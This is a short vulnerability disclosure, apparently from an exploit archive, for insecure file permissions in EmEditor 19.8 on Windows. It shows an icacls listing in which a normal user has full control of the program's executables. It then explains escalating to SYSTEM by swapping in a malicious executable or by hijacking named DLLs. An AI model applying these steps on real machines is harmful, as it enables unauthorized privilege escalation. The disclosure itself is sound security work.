EmEditor 19.8 Insecure File Permissions

`# Exploit Title: EmEditor 19.8 - Insecure File Permissions  
# Date: 2020-04-27  
# Exploit Author: SajjadBnd  
# Vendor Homepage: https://www.emeditor.com/  
# Software Link: https://support.emeditor.com/en/downloads/suggested  
# Version: 19.8  
# Tested on: Win10 Professional x64  
  
[ Description ]  
  
EmEditor is a fast, lightweight, yet extensible, easy-to-use text editor for Windows.  
Both native 64-bit and 32-bit builds are available, and moreover,  
the 64-bit includes separate builds for SSE2 (128-bit), AVX-2 (256-bit),  
and AVX-512 (512-bit) instruction sets.  
  
[ PoC ]  
  
C:\Users\user\AppData\Local\Programs\EmEditor  
λ icacls *.exe  
  
ee128.exe NT AUTHORITY\SYSTEM:(F)  
BUILTIN\Administrators:(F)  
DESKTOP-K4UDI4I\user:(F)  
  
ee256.exe NT AUTHORITY\SYSTEM:(F)  
BUILTIN\Administrators:(F)  
DESKTOP-K4UDI4I\user:(F)  
  
ee512.exe NT AUTHORITY\SYSTEM:(F)  
BUILTIN\Administrators:(F)  
DESKTOP-K4UDI4I\user:(F)  
  
EEAdmin.exe NT AUTHORITY\SYSTEM:(F)  
BUILTIN\Administrators:(F)  
DESKTOP-K4UDI4I\user:(F)  
  
eehlpver.exe NT AUTHORITY\SYSTEM:(F)  
BUILTIN\Administrators:(F)  
DESKTOP-K4UDI4I\user:(F)  
  
eeupdate.exe NT AUTHORITY\SYSTEM:(F)  
BUILTIN\Administrators:(F)  
DESKTOP-K4UDI4I\user:(F)  
  
emedhtml.exe NT AUTHORITY\SYSTEM:(F)  
BUILTIN\Administrators:(F)  
DESKTOP-K4UDI4I\user:(F)  
  
EmEditor.exe NT AUTHORITY\SYSTEM:(F)  
BUILTIN\Administrators:(F)  
DESKTOP-K4UDI4I\user:(F)  
  
emedtray.exe NT AUTHORITY\SYSTEM:(F)  
BUILTIN\Administrators:(F)  
DESKTOP-K4UDI4I\user:(F)  
  
emedws.exe NT AUTHORITY\SYSTEM:(F)  
BUILTIN\Administrators:(F)  
DESKTOP-K4UDI4I\user:(F)  
  
Successfully processed 10 files; Failed processing 0 files  
  
[ Exploit - Privilege Escalation ]  
  
Replace any *.exe files with any executable  
malicious file you want then wait and get SYSTEM or Administrator rights (Privilege Escalation)  
- Also you can use DLL Hijacking technique(emonig.dll,emregexp.dll,emtoast.dll..) ;D  
`